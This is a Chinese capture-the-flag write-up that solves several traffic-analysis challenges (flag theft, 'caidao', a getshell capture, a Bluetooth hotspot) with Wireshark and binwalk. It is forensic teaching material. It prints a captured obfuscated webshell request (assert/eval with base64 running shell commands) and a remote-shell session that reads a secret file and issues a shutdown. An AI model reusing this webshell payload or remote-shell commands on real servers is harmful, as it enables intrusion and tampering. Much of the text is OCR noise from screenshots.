BugkuCTF(old)----流量分析题目Writeup



<u>CTF 专栏收录该内容</u> 5 篇文章 0 订阅

订阅专栏

flag被盗

文件不是很大,粗略看了一下,发现了shell.php字段

文件(F) 编辑(E) 视频	l(V) 跳转(G)	捕获(C) 分	析(A) 統計(S)	电话(Y) 无约	a(W) 工具(T)	帮助(H)													
开始	(S) 得止(T)	2 重新开始(R)	 通项 打: 	■ 开(0) 保存(3	× ○ 美词(c)	<mark>②</mark> 重新加载 00	。 査扶分担(0)…	前 一分组	→ 下一分组		 首个分组	 最新分组	实时捕获时) 着色介組列表	の 脱大(2)	◎ 描小	©。 普通大小	11 调整列宽	
1.161	用显示过波器 …																			表达式…
No.	Tine			Source		Des	tination		Prot	ocol Lengt	h Inf∘									
	85 2017-09	-12 20:14:	31.115110	192.168.2	28.1	224	4.0.0.252		LLM	IR	66 Standa	and query	0x6116 A	WY Xman21	1					
	86 2017-09	-12 20:14:	31.431210	192.168.2	28.1	193	2.168.228.135		TCP		66 52713	→ http(80) [SYN]	Seq=0 Wir	n=65535 Len=0	MSS=1466	9 WS=8	SACK_PER	M-1	
	87 2017-09	-12 20:14:	31.431324	192.168.2	28.135	19	2.168.228.1		TCP		66 http(8	80) → 5271	3 [SYN,	ACK] Seq:	=0 Ack=1 Win=	29200 Ler	n=0 MSS	=1460 SA	CK_PERM=	1 WS:
	88 2017-09	-12 20:14:	31.431432	192.168.2	28.1	193	2.168.228.135		TCP		54 52713	→ http(80) [ACK]	Seq=1 Ack	k=1 Win=26214	4 Len=0				
	89 2017-09	-12 20:14:	31.431497	192.168.2	28.1	193	2.168.228.135		TCP	3	64 52713	→ http(80) [PSH,	ACK] Seq:	=1 Ack=1 Win=	262144 Le	en=310	[TCP seg	ment of	a nei
	90 2017-09	-12 20:14:	31.431558	8 192.168.2	28.1	193	2.168.228.135		HTTP	> 8	41 POST /	shell.php	HTTP/1.	1 (appli	ication/x-www	-form-ur]	lencode	d)		
	91 2017-09	-12 20:14:	31.431563	8 192.168.2	28.135	193	2.168.228.1		TCP		60 http(8	80) → 5271	3 [ACK]	Seq=1 Ack	k=311 Win=303	36 Len=0				
	92 2017-09	-12 20:14:	31.431616	5 192.168.2	28.135	193	2.168.228.1		TCP		60 http(8	30) → 5271	3 [ACK]	Seq=1 Ack	k=1098 Win=31	872 Len=6	•			
•	93 2017-09	-12 20:14:	31.441756	5 192.168.2	28.135	193	2.168.228.1		HTTP) з	01 HTTP/1	1.1 200 OK	(text/	'html)						
	94 2017-09	-12 20:14:	31.441830	192.168.2	28.1	193	2.168.228.135		TCP		54 52713	→ http(80) [ACK]	Seq=1098	Ack=248 Win=	261896 Le	en=Ø			
	95 2017-09	-12 20:14:	31.521316	5 Vmware_c0	:00:08	Bri	oadcast		ARP		42 Who ha	ns 192.168	.228.2?	Tell 192.	.168.228.1					
	96 2017-09	-12 20:14:	31.521344	192.168.2	28.1	ig	<pre>mp.mcast.net</pre>		IGM	PV3	54 Member	ship Repo	rt / Joi	in group 2	224.0.0.252 f	or any so	ounces			
	97 2017-09	-12 20:14:	31.521419) fe80::585	1:3b93:1500	:7e88 ffi	92::16		ICM	Pv6	90 Multic	ast Liste	ner Repo	ort Messag	ge v2					
	98 2017-09	-12 20:14:	31.524829) fe80::585	d:3b93:1500	:7e88 ffi	92::1:3		LLM	IR	B6 Standa	and query	0x6116 A	WY Xman21	1					
	99 2017-09	-12 20:14:	31.524893	192.168.2	28.1	224	4.0.0.252		LLM	IR	66 Standa	and query	0x6116 A	WY Xman21	1					
<																				>

筛选为http流量,追踪TCP查看

. h	itp							
No.	Time Source	Desti	nation	Protocol	Length Inf	0		
	27 2017-09-12 20:14:16.839488 192.168.228.1	192.	168.228.135	HTTP	430 GE1	/shell.php HTTP	2/1.1	
	29 2017-09-12 20:14:16.981333 192.168.228.135	192.	168.228.1	HTTP	257 HT1	P/1.1 200 OK		
	34 2017-09-12 20:14:17.796863 192.168.228.1	192.	168.228.135	HTTP	430 GE1	/shell.php HTTP	2/1.1	
	36 2017-09-12 20:14:17.797641 192.168.228.135	192.	168.228.1	HTTP	256 HT1	P/1.1 200 OK		
+	90 2017-09-12 20:14:31.431558 192.168.228.1	192.	168,228,135	HTTP	841 P09	T /shell.php HTT	<pre>IP/1.1 (application/x-www-form-urlencoded)</pre>	
-	93 2017-09-12 20:14:31.441756 192.168.228.135	192	A POINT DISCHARGE CHEM	Carl Ad	301 HT1	P/1.1 200 OK (t	ext/html)	
+	103 2017-09-12 20:14:33.096391 192.168.228.1	192	904C/46/P9994C 23 (日(日)	Cultin	847 P09	T /shell.php HTT	<pre>IP/1.1 (application/x-www-form-urlencoded)</pre>	
÷	105 2017-09-12 20:14:33.117586 192.168.228.135	192	23/00/40/02/26/00 75/20(1)	Ctri+D	251 HT1	P/1.1 200 OK (t	ext/html)	
	110 2017-09-12 20:14:34.819006 192.168.228.1	192	したこのの 日本	Ctrl+1	839 P09	T /shell.php HTT	<pre>/P/1.1 (application/x-www-form-urlencoded)</pre>	
	112 2017-09-12 20:14:34.824089 192.168.228.135	192	0) (C) 10 (C) 10 (C)	Ctri+shift+1	239 HT1	P/1.1 200 OK (t	ext/html)	
	127 2017-09-12 20:14:43.295412 192.168.228.1	192	为祖注神	Ctrl+Alt+C	513 GET	/ HTTP/1.1		
	132 2017-09-12 20:14:43.352245 192.168.228.135	192	编辑解析的名称		659 HT1	P/1.1 200 OK (t	ext/html)	
	133 2017-09-12 20:14:43.395927 192.168.228.1	192	和治疗神经疗用	,	472 GE1	/icons/ubuntu-l	logo.png HTTP/1.1	
	135 2017-09-12 20:14:43.415774 192.168.228.135	192	准备讨论器	,	234 HT1	P/1.1 304 Not Mc	odified	
			对话过滤器	,				
<			对话着色	,				>
	Ename 03: 201 bytes on wire (2400 bits) 201 bytes contures	(240	SCIP	,				
- 11	Ethernat II Src: Wawara 35.f0.a5 (00.0c.30.35.f0.a5) Det.	10040	istrifi	•	TCP IS	Ctrl+Alt+Shift+T		
5	Internet Protocol Version 4, Src: 192.168.228.135 (192.168.	228.1	(Fai		UDP 流	Ctrl+Alt+Shift+U		

直接得到flag flag{This_is_a_f10g}

		_
phpmyadmin		^
shell.php		
[5]		
/var/www/html		
[E]		
X@YPOST /shell.php HTTP/1.1		
X-Forwarded-For: 44.146.238.198		
Referer: http://192.168.228.135/		
Content-Type: application/x-www-form-urlencoded		
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)		
Host: 192.168.228.135		
Content-Length: 793		
Cache-Control: no-cache		
	- 1	
pass=array map("ass"."ert",array("ev"."Al(\"\\\\$xx%3D\\\"Ba"."SE6"."4 dEc"."OdE\\\";@ev"."al(\\\		
\$xx('0GluaV9zZX00ImRpc3BsYX1fZXJyb3JzIiwiMCIp00BzZXRfdGltZV9saW1pdCgwKTtpZih0SFBfVkVSU0lPTiwnNS4zLjAnKXtAc2V0X21hZ2liX3F1b3Rlc19vdW50aW11kDAp0	307	1
ZWNobygiwEBZIik7JG09Z2V0X21hZ2liX3F1b3Rlc19ncGMoKTskcD0nL2Jpbi9zaCc7JHM9J2NkIC92YXIvd3d3L2h0bWwvO2NhdCBmbGFnLnR4dDtlY2hvIFtTXTtwd207ZWNobyBbRV	ano	1
vRkPWRpcm5hbWUoJF9TRVJWRVJbllNDUklOVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGOsMCwxKT09Ii8iPvItYvBcInskc31cIiI6Ii9iIFwievRzfVwiIiskci0ievRwfSB7JGN9Iis	kYX	1
JYYXK9YXJYYXK0YXJYYXK0InBpcGUiLCJyIiksYXJYYXK0InBpcGUiLCJ3IiksYXJYYXK0InBpcGUiLCJ3IikpOvfmcDiwcm9iX29wZW40JHIuIiAyPiYXIiwKYXJYYXksJHBpcGUZKTsk	cmV	1
0PXN0cmVhbV9nZXRfY29udGVudHMoJHBocGVzWzFdKTtwcm91X2Nsb3NlKCRmcCk7cHJpbn0gJHJldDs7ZWNobygiWEBZIik7ZGllKCk7'));\");"));HTTP/1.1 200 0K		1
Date: Tue, 12 Sep 2017 12:14:36 GMT		
Server: Apache/2.4.18 (Ubuntu)		1
Content-Length: 49		1
Content-Type: text/html; charset=UTF-8		1
		4
XGY flag (This is a flog)		4
[5]		1
/var/www/html		1
[6]		1
X0YPOST /shell.php HTTP/1.1		1
X-Forwarded-For: 44.146.238.198		1
Referer: http://192.168.228.135/		1
Content-Type: application/x-www-form-unlencoded		1
User-Agent: Mozilla/5.0 (compatible: Baiduspider/2.0: +http://www.baidu.com/search/spider.html)	- 1	1
Host: 192.168.228.135		
Content-Length: 785		
Cache-Control: no-cache		
pass=array map("ass"."ert",array("ev"."Al(\"\\\\$xx%3D\\\"Ba"."SE6"."4 dEc"."OdE\\\":@ev"."al(\\\		
\$xx('0GluaV9zZX00ImRpc3BsYXlfZXJyb3JzIiwiMCIp00BzZXRfdGltZV9saW1pdCgwKTtpZih0SFBfVkVSU01PTjwnNS4zLjAnKXtAc2V0X21hZ21jX3F1b3R1c19vdwS0aW1lkDAp0	307	
ZWNobygiwEBZIik7JG0922V0X21hZ21jX3F1b3Rlc19ncGMoKTskcD0nL2Jpbi9zaCc7JHM9J2NkIC92YXIvd3d3L2h0bWwV03dob2FtaTt1Y2hvIFtTXTtwd207ZWNobyBbRV0n0vRkPW	Rpc	~
19篇 52.6 美产端 分類、3 服務課 分類、5 can(i). 在空気神。	-	7
整个对话(19924 hortae)	3 4 1	÷
an 1/9 No 1/0 No 22/3/19/19/17/2020/2/ 10/044	an F	-

中国菜刀

下载解压得到数据包,比较小只有7kb

Caid	lao.pcapng																				-	0	×
文件(E)	SHSB(E)	祝昭(M) 1	現時(反) 捕	联(C) 分析	i(A) 统计(S)	电活(2)	E線(M) 工具(I)	希助(出)															
开始(5	0 例止(T	E E M	∭ FMt(R) ≹	● 熱荷 打开	(0) 保存()	× × → → → → → → → → → → → → → → → → → → →	▲ 重新加载(R)	Q 查找分组(F)	前一 分组			★ 第个分组	 最新分组	实时捕获	时自动滚动	(7) 著色:	分据列表	① 族大(2)	〇 梯小	⊙ 普通大小	11 调整列发		
【【版用	显示过消器																					表达式一	1.4
No.	Time				Source		Des	tination		Prot	ocol Lengt	h Info											^
	1 2016	-06-27	16:47:40	.138938	10.211.55	61	19	2.168.1.145		TCP		66 49366	→ http(80) [SYN]	Seq=0 V	lin=65535	Len=0	MSS=1466	9 WS=25	56 SACK_	PERM=1		
	2 2016	-06-27	16:47:40	.323260	192.168.1	145	10	211.55.61		TCP		62 http(8	10) → 4936	6 [SYN,	ACK] SE	q=0 Ack=:	1 Win=3	2768 Ler	1=0 MSS	5=1460 W	5=2		
	3 2016	-06-27	16:47:40	.323352	10.211.55	61	19	2.168.1.145		TCP		54 49366	→ http(80) [ACK]	Seq=1 #	ck=1 Win	=262144	Len=0					
+	4 2016	-06-27	16:47:40	.323527	10.211.55	61	19	2.168.1.145		TCP	3	54 49366	→ http(80) [PSH,	ACK] SE	q=1 Ack=	1 Win=2	62144 Le	en=300	[TCP se	gment of	a nei	
+	5 2016	-06-27	16:47:40	.323559	10.211.55	61	19	2.168.1.145		HTTP	· 8	28 POST /	3.php HTT	P/1.1	(applica	tion/x-w	wv-form	-urlenco	oded)				
	6 2016	-06-27	16:47:40	.323670	192.168.1	145	10	211.55.61		TCP		60 http(8	10) → 4936	6 [ACK]	Seq=1 #	ck=301 W.	in=3276	8 Len=0					
	7 2016	-06-27	16:47:40	.323671	192.168.1	145	10	211.55.61		TCP		60 http(8	10) → 4936	6 [ACK]	Seq=1 #	ck=1075	Win=327	68 Len=6)				
	8 2016	-06-27	16:47:40	.715680	192.168.1	145	10	211.55.61		TCP	15	14 http(8	10) → 4936	6 [PSH,	ACK] SE	q=1 Ack=:	1075 Wi	n=32768	Len=14	160 [TCP	segment	of a	
	9 2016	-06-27	16:47:40	.715681	192.168.1	145	10	211.55.61		HTTE	· 3	40 HTTP/1	.1 200 OK	(text	/html)								
	10 2016	-06-27	16:47:40	.715726	10.211.55	61	19	2.168.1.145		TCP		54 49366	→ http(80) [ACK]	Seq=107	5 Ack=17	47 Win=	262144 L	.en=0				
	11 2016	-06-27	16:47:46	.046478	192.168.1	145	10	211.55.61		TCP		60 http(8	10) → 4936	6 [FIN,	ACK] SE	q=1747 A	ck=1075	Win=327	768 Ler	n=0			
	12 2016	-06-27	16:47:46	.046516	10.211.55	61	19	2.168.1.145		TCP		54 49366	→ http(80) [ACK]	Seq=103	5 Ack=17	48 Win=	262144 L	.en=0				
	13 2016	-06-27	16:48:00	.360247	10.211.55	61	19	2.168.1.145		TCP		54 49366	→ http(80) [FIN,	ACK] SE	q=1075 A	ck=1748	Win=262	2144 Le	en=0			
	14 2016	-06-27	16:48:00	.360410	192.168.1	145	10	211.55.61		TCP		60 http(8	10) → 4936	6 [ACK]	Seq=174	8 Ack=10	76 Win=	32768 Le	en=0				
	15 2016	-06-27	16:48:00	.360521	10.211.55	61	19	2.168.1.145		TCP		66 49367	→ http(80) [SYN]	Seq=0 k	lin=65535	Len=0	MSS=1466	9 WS=25	56 SACK_	PERM=1		

只有TCP和HTTP协议流量,追踪TCP流查看,发现flag.tar.gz压缩包

🚄 Wireshark · 追踪 TCP 流 (tcp.stream eq 0) · caidao.pcapng		- 0	\times
anvlab/ 2016-01-28 07:26:27 0 0777			^
aspnet client/ 2015-06-03 11:53:28 0 0777			
cc/ 2015-06-03 11:53:28 0 0777			
cmf/ 2016-03-29 03:13:32 0 0777			
DedeCmsV5.6-GBK-Final/ 2015-06-03 11:53:28 0	0777		
DVWA/ 2015-06-03 11:53:30 0 0777			
efucms-master/ 2015-08-09 12:31:40 0 0777			
eims_cms_3.5/ 2015-06-08 13:59:28 0 0777			
exec/ 2016-01-28 06:45:26 0 0777			
tckeditor/ 2016-01-18 03:09:11 0 0777			
F1/ 2015-06-15 06:36:5/ 0 0///			
fileupload/ 2015-11-19 02:19:45 0 0///			
TWCMS/ 2016-01-28 03:11:29 0 0///			
ini/ 2016-01-20 07:34:01 0 0777			
iv/ 2015-06-03 11:53:31 0 0777			
Jwcms/ 2016-03-22 01:10:07 0 0777			
MSSOLpri/ 2015-06-03 11:53:31 0 0777			
MysalUDEpri/ 2015-06-15 07:37:22 0 0777			
sal/ 2015-06-08 00:45:44 0 0777			
sqli/ 2015-12-30 08:06:54 0 0777			
up/ 2015-06-08 00:36:02 0 0777			
uploads/ 2015-06-08 00:36:11 0 0777			
wcms/ 2016-01-17 05:56:46 0 0777			
webshop5/ 2015-06-08 08:04:59 0 0777			
XiaoCms_20140710/ 2015-06-03 11:53:31 0	0777		
xss/ 2016-01-28 06:48:07 0 0777			
Z/ 2015-06-03 11:53:31 0 0777			
1.php 2016-01-28 08:54:46 1740 0666			
3.php 2016-06-01 03:36:25 27 0666			
flag.tar.gz 2016-06-27 08:45:38 203 0666			
10g.txt 2015-06-03 12:18:46 1502 0666			
news.asp 2014-06-27 03:44:24 365 0666			
tostNull php 2014-00-27 05:45:08 822 0000			
unload html 2014-07-17 08:00:14 10 0000			
webshell php 2014-07-21 05:52:36 18 0666			
xiaoma.asp:.ing 2014-07-04 08:17:18 1312 0666			
txt 2014-07-08 03:06:16 92 0666			
X@Y			
			~
分組 8.2 8月端 分組, 2 應多縣 分組, 1 turn(s). 点击选择。			
整个对话(2820 bytes) ~ 显示和	保存数据为 ASCII ~	演	i 0 🗘
查找:		查找下一	个(N)
	濾掉此流 打印 Save as… 返回 100 Close	sed no sed the He	lp

使用kali集成的 binwalk提取压缩包,

binwalk -e caidao.pcapng 文件路径

root@kali:~# binwalk -e caidao.pcapng											
DECIMAL	HEXADECIMAL	DESCRIPTION									
7747	0x1E43	gzip compressed data, from Unix, last modified: 2016-06-27 08:44:39									

得到 1E43文件

root@kali:~/_caidao.pcapng.extracted# ls
1E43

这是一个压缩包,可以在windows修改后缀为zip直接打开

得到flag key{8769fe393f2b998fa6a11afe2bfcd65e}

```
root@kali:~/_caidao.pcapng.extracted# ls
1E43
root@kali:~/ caidao.pcapng.extracted#
root@kali:~/_caidao.pcapng.extracted# binwalk  -e 1E43
DECIMAL
                 HEXADECIMAL
                                     DESCRIPTION
0
                 0x0
                                     POSIX tar archive
root@kali:~/_caidao.pcapng.extracted# ls
1E43 1E43.extracted
root@kali:~/_caidao.pcapng.extracted# cd _1E43.extracted/
root@kali:~/_caidao.pcapng.extracted/_1E43.extracted# ls
0.tar flag
root@kali:~/_caidao.pcapng.extracted/_1E43.extracted# cd flag/
root@kali:~/_caidao.pcapng.extracted/_1E43.extracted/flag# ls
flag.txt
root@kali:~/_caidao.pcapng.extracted/_1E43.extracted/flag# cat flag.txt
key{8769fe393f2b998fa6a11afe2bfcd65e}root@kali:~/_caidao.pcapng.extrac<u>ted/</u>/1F43.extracted/flag
```

这么多数据包

题目提示

这么多数据包找找吧,先找到getshell的流

数据包 TCP有大量的标红状态,猜测为攻击机对目标进行的扫描爆破等操作



过滤得到TCP协议数据包,观察发现 4023为最后一条标红数据

《 C 文件	TF.pca	ipng NR(E) 税的	B(<u>V)</u> 跳转(g) 捕获(<u>C</u>)	分析(A)	病计(<u>5</u>) 电话(<u>Y</u>)	无线(<u>W)</u> 工具(<u>T</u>)	帮助旧												-	σ :	×
开始	(S)	■ 停止(T)	<u>武</u> 重新开始(R)	④送項	打开(0)	(第7(S) 关闭	C) 重新加载(R)	Q 查找分组(F)	第 一分组		1000000000000000000000000000000000000	▲ 首个分组		实时编获时自	动滚动(V)	着色分组列表	0 放大(2)	©_ 線小	(○) 普通大小	11 调整列宽		
. to	p																				表达式…	+
No.		Tine			Sour	ce	De	stination		Prot	ocol Lengt	h Info										^
	402	1 2016-0	-14 21:4	1:05.632	816 192	.168.116.159	19	2.168.116.138		SMB	1	99 Negoti	ate Proto	col Respon	se							
	402	2 2016-04	-14 21:4:	1:05.633	070 192	168.116.138	19	2.168.116.159		TCP		56 57378 ·	 microso 	oft-ds(445)	[ACK]	Seq=54 Ack=13	4 Win=30	720 Ler	=0 TSV	al=15963	74 TSe	
Ľ		3 2016-04		1:05.633		.168.116.159		2.168.116.138							72 [RST	, ACK] Seq=1	Ack=1 Wi					
	402	1 2016-0	-14 21:4	1:05.634	755 192	.168.116.138	19	2.168.116.159		TCP		74 57384	 microso 	oft-ds(445)	[SYN]	Seq=0 Win=292	00 Len=0	MSS=14	160 SACI	C_PERM=1	TSva.	
	402	5 2016-0	-14 21:4	1:05.634	883 192	.168.116.159	19	2.168.116.138		TCP		78 micros	oft-ds(44	15) → 57384	[SYN,	ACK] Seq=0 Ac	k-1 Win-	64240 1	en=0 M	55-1460	VS=1	
	402	5 2016-0	-14 21:4	1:05.634	907 192	168,116,138	19	2.168.116.159		SMB	1	L9 Negoti	ate Proto	ocol Reques	t							8.
	402	7 2016-04	-14 21:4	1:05.634	960 192	168.116.138	19	2.168.116.159		TCP		56 57384	→ microso	oft-ds(445)	[ACK]	Seq=1 Ack=1 W	in=29696	Len=0	TSval=:	1596374	rsecn	8
	402	8 2016-0	-14 21:4	1:05.635	308 192	168.116.159	19	2.168.116.138		SMB	1	99 Negoti	ate Proto	col Respon	se							
	402	9 2016-0	-14 21:4	1:05.635	352 192	.168.116.138	15	2.168.116.159		SMB	2	95 Sessio	n Setup A	AndX Reques	t, User	: \guest						
	403	3 2016-0	-14 21:4	1:05.635	391 192	168.116.138	19	2.168.116.159		TCP		56 57382	 microso 	oft-ds(445)	[ACK]	Seq=54 Ack=13	4 Win=30	720 Ler	n=0 TSV	əl=15963	74 TSC	
	403	1 2016-0	-14 21:4	1:05.635	427 192	168.116.138	19	2.168.116.159		SMB	1	L9 Negoti	ate Proto	ocol Reques	t							_
	403	2 2016-04	-14 21:4	1:05.635	486 192	168.116.159	19	2.168.116.138		SMB	1	99 Negoti	ate Proto	col Respon	se							
	403	3 2016-0	-14 21:4	1:05.635	557 192	.168.116.138	15	2.168.116.159		TCP		56 57384	microso	oft-ds(445)	[ACK]	Seq=54 Ack=13	4 Win=30	1720 Ler	n=0 TSva	al-15963	74 TSC	-
	403	4 2016-0	-14 21:4	1:05.635	780 192	168.116.159	19	2.168.116.138		SMB	1	95 Sessio	n Setup /	AndX Respon	se, Err	or: STATUS_LO	GON_FAIL	URE				
	403	5 2016-0	-14 21:4	1:05.636	057 192	168,116,138	19	2.168.116.159		SMB	1	53 Sessio	n Setup /	AndX Respon	se, Err	or: STATUS_LO	GON_FAIL	URE				- v
<																					>	
> E	cane	4816: 6	6 bytes o	n wire	(528 hit	(s), 66 hytes	captured (528	thits) on int	erface Ø													~
D P	ther	net II.	Sec: Vinua	re ca:1	5:94 (00	1:0c:29:ca:16	94). Dst: Vm	are 62:1f:55	(00:00:2	9:62:1f:5	5)											10
5.	nter	net Prot	ocol Vers	ion 4	Sec: 19	168 116 138	(192 168 116	138) Dst: 10	12, 168, 11	6.159 (19	2 168 116	159)										
1.0			Control D		C		(20212001220	tooyy obtain an	(220	(1)	a aska a	1.000										

往下看呀看呀看呀,追踪TCP流查看,数据包过多,一无所获

尝试过滤一些数据包,观察发现,此期间大部分是端口4444与端口1040之间的通信,过滤数据包

tcp && ! tcp.port eq 4444 or ! tcp.port eq 1040 and ip.addr eq 192.168.116.138

发现在最后端口 35880 和 1234 还存在通信,追踪流查看

2342 KOID.04.14 KI'42'KD'KIKI44 12K'100'II0'I23	192,100,110,150	I.C.P.	70 Sedicin-agenc(1234) 7 53000 [510, McK] Sed-0 McK-1 810-04240 Fell-0 105-1400 83-1
5544 2016-04-14 21:45:26.212217 192.168.116.138	192.168.116.159	TCP	66 35880 → search-agent(1234) [ACK] Seq=1 Ack=1 Win=29696 Len=0 TSval=1661501 TSec
5545 2016-04-14 21:45:26.281415 192.168.116.159	192.168.116.138	TCP	154 search-agent(1234) → 35880 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=88 TSval=30042
5546 2016-04-14 21:45:26.281630 192.168.116.138	192.168.116.159	TCP	66 35880 → search-agent(1234) [ACK] Seq=1 Ack=89 Win=29696 Len=0 TSval=1661519 TSec
5547 2016-04-14 21:45:27.945789 192.168.116.138	192.168.116.159	TCP	69 35880 → search-agent(1234) [PSH, ACK] Seq=1 Ack=89 Win=29696 Len=3 TSval=1661934
5548 2016-04-14 21:45:27.972939 192.168.116.159	192.168.116.138	TCP	169 search-agent(1234) → 35880 [PSH, ACK] Seq-89 Ack-4 Win-64237 Len-103 TSval-3005
5549 2016-04-14 21:45:27.973347 192.168.116.138	192.168.116.159	TCP	66 35880 → search-agent(1234) [ACK] Seq=4 Ack=192 Win=29696 Len=0 TSval=1661941 TS
5550 2016-04-14 21:45:29.505675 192.168.116.138	192.168.116.159	TCP	70 35880 → search-agent(1234) [PSH, ACK] Seq=4 Ack=192 Win=29696 Len=4 TSval=16623;
5551 2016-04-14 21:45:29.539539 192.168.116.159	192.168.116.138	TCP	267 search-agent(1234) → 35880 [PSH, ACK] Seq-192 Ack-8 Win-64233 Len-201 TSval-300
5552 2016-04-14 21:45:29.539663 192.168.116.138	192.168.116.159	TCP	66 35880 → search-agent(1234) [ACK] Seq=8 Ack=393 Win=30720 Len=0 TSval=1662331 TS
5553 2016-04-14 21:45:29.539739 192.168.116.159	192.168.116.138	TCP	267 search-agent(1234) → 35880 [PSH, ACK] Seq=393 Ack=8 Win=64233 Len=201 TSval=300
5554 2016-04-14 21:45:29.539843 192.168.116.138	192.168.116.159	TCP	66 35880 → search-agent(1234) [ACK] Seq-8 Ack-594 Win-31744 Len-0 TSval-1662331 TS
5555 2016-04-14 21:45:29.539909 192.168.116.159	192.168.116.138	TCP	235 search-agent(1234) → 35880 [PSH, ACK] Seq=594 Ack=8 Win=64233 Len=169 TSval=300
5556 2016-04-14 21:45:29.540019 192.168.116.138	192.168.116.159	TCP	66 35880 → search-agent(1234) [ACK] Seq=8 Ack=763 Win=32768 Len=0 TSval=1662332 TS(
			https://siguestinas/Auguestia

🚄 Wireshark · 🌶	鶝踪 TCP 流 (tcp.stream eq 1735),	TF.pcapng	-	×
Microsoft W (C) Copyrig	indows XP [Version 5.1.2 ht 1985-2001 Microsoft C	500] orp.		
C:\>ls				
operable pr	ogram or batch file.	ar or external command,		
C:\>dir dir Volume in	drive C has no label.			
Volume Ser	ial Number is B03C-791A			
04/14/2016	08:50 PM	0 AUTOEXEC.BAT		
04/14/2016 02/12/2012	08:52 PM <dir></dir>	Documents and Settings		
03/12/2012 04/14/2016 04/14/2016	08:54 PM <dir> 09:22 PM</dir>	Program Files 36 s4cr4t.txt		
04/14/2016	08:59 PM <dir> 4 File(s) 61 3 Dir(s) 17,719,083</dir>	WINDOWS 490 bytes ,008 bytes free		
C:\> <mark>type s4</mark> type s4cr4t	cr4t.txt .txt	_		
Q0NURntkb19 C:\>shutdow shutdown -r	5b3VfbGlrZV9zbmlmZmVyfQ= n -r -t 100 -m "Stupid M t 100 -m "Stupid Manag	anager!" er!"		

可疑的base64数据,解码查看,bingo,得到flag CCTF{do_you_like_sniffer}

▶ FeHelper: 字符串加解密
 Q0NURntkb195b3VfbGlrZV9zbmlmZmVyfQ==
 ● Unicode加密(\u开头) ● Unicode解密(\u开头) ● UTF8/URL加密(%)
 ● UTF16加密(\x开头) ● UTF16解密(\x开头) ● Base64加密 ● Base
 CCTF{do_you_like_sniffer}

题目提示找getshell的流量,所以应该是拿到shell了,执行操作,所以应该从后往前找又高效~

手机热点

题目描述如下:

httppan.baidu.coms1cwwdVC 有一天皓宝宝没了流量只好手机来共享,顺便又从手机发了点小秘密到电脑,你能找到它吗?

手机共享 推断为obex协议(蓝牙传输协议) 过滤

📕 Bla	atand_1	.pcapng																		-	0	×
文件(E) 编辑	(E) 祝聞(() 跳转(G)) 結決(()	:9₩(A)	统计(<u>5</u>) 电	いたい 天台	6000 工具(II)	帮助(H)													
开始	(s) A	■ 第上で) 1	創新开始(R)	⊛ 选项	打开(0)	(第存(S)	<mark>∑</mark> 关闭(C)		Q 查找分组(9)				 首个分组		实时播获时自动滚动(9)	着色分组列表	◎ 放大(2)	⊙ 编小	○ 普通大小	调整列宽		
. ob	a x																				表达式…	
No.		Time			Sour	108		De	stination		Pro	tocol Leng	th Info									^
-+ 1	19389 3	2016-09-	28 22:01	1:19.458	3895 loc	alhost ())	EN COL	mote ()		OBE	х	20 Sent C	Connect								
+ 1	19393 🕯	2016-09-	28 22:01	l:19.507	7565 rem	ote ()		10	calhost ()		OBE	х	26 Rcvd S	Success								
	19394	2016-09-	28 22:01	1:19.509	9027 loc	alhost ())	n	mote ()		OBE	x e	70 Sent F	Put contin	nue "secret.rar"							
	19401	2016-09-	28 22:01	1:21.291	1789 rem	ote ()		10	calhost ()		OBE	х	22 Revd C	ontinue								
	19402	2016-09-	28 22:01	1:21.29	1884 loc	alhost ())	n e	mote ()		OBE	х	19 Sent F	Put final								
	19484 3	2016-09-	28 22:01	1:21.344	1091 ren	ote ()		10	calhost ()		OBE	х	25 Revd S	Success								
	19421	2016-09-	28 22:01	1:28.952	2909 loc	alhost ())	D.	mote ()		OBE	х	21 Sent D	Disconnect	t							
1	19423	2016-09-	28 22:01	L:28.970	5695 rem	ote ()		10	calhost ()		OBE	х	22 Rovd S	Success								
	88018	2016-09-	28 22:03	3:19.284	216 loc	alhost ())	n	mote ()		OBE	х	20 Sent C	onnect								
	38042 3	2016-09-	28 22:03	3:19.340	9533 ren	ote ()		10	calhost ()		OBE	х	26 Revd S	Success								
	38046	2016-09-	28 22:03	3:19.34	2124 loc	alhost ())	P1	mote ()		OBE	X 1	84 Sent C	DBEX frag	ment							
	38048	2016-09-	28 22:03	3:19.34	2128 loc	alhost ())	Pi	mote ()		OBE	X 1	84 Sent C	DBEX frag	ment							
	38050	2016-09-	28 22:03	3:19.34	2131 Loc	alhost ())	ri N	mote ()		OBE	X 1	.84 Sent C	DBEX trag	ment							
	88054 1	2016-09-	28 22:03	3:19.34	5055 loc	alhost ())	n	mote ()		OBE	X 1	.84 Sent C	DBEX frag	ment							
	88061 2	2016-09-	28 22:03	3:19.366	9070 loc	alhost ())	n	mote ()		OBE	X 1	.84 Sent C	DBEX frag	tent							~
<																					>	
> FI	ane 1	9389: 2	bytes	on wire	(160 b	its), 20	bytes ca	ptured (1	60 bits) on i	nterface	Ð											
> B	luetoo	th																				
> B)	luetoo	th HCI	14																			
> B.	luetoo	th HCI .	ACL Pack	et																		
> B.	luetoo	th L2CA	Protoc	ol																		
> B.	luetoo	th RFCO	M Proto	col																		
> 0	BEX Pr	otocol																				

发现了一个压缩包,和图片

	1000 100 00 10 11000000000000000000000	100010000 (/	open	Lo Neva Success
	19394 2016-09-28 22:01:19.509027 localhost ()	remote ()	OBEX	670 Sent Put continue "secret.rar"
-	19401 2016-09-28 22:01:21.291789 remote ()	localhost ()	OBEX	22 Rcvd Continue
	38127 2016-09-28 22:03:19.453116 localhost ()	remote ()	OBEX 184 Sent	OBEX fragment
->	38130 2016-09-28 22:03:19.459110 localhost ()	remote ()	OBEX 736 Sent	Put continue "-27b5cab3b6cc4b1e.jpg"
	38945 2016-09-28 22:03:20.827788 remote ()	localhost ()	OBEX 22 Rcvd	Continue
	20046 Jana an ac 22.62.02 ac as as as a social action of the second state and second states as a second state at a secon	nomoto /)	ODEV 10 Cont	nut final

binwalk -e Blatand_1.pcapng

得到如下

;root@kali:~	/_Blatand_1.	capng.extra	acted# ls		
1019F.gz	48CEA7.gz	78B35B	7A8B87	7F408B.gz	A663D.zlib
10969.gz	48F471.gz	78BDA3.gz	7ABF6C.gz	7F4D93 3 像素	A665D
317A9F.gz	6042.gz	78CB38.gz	7BA0AA	7F525F.gz	A665D.zlib
36E0BC.gz	635416.rar	790F5F.gz	7BA91B.gz	7F623B.gz	B3FD6
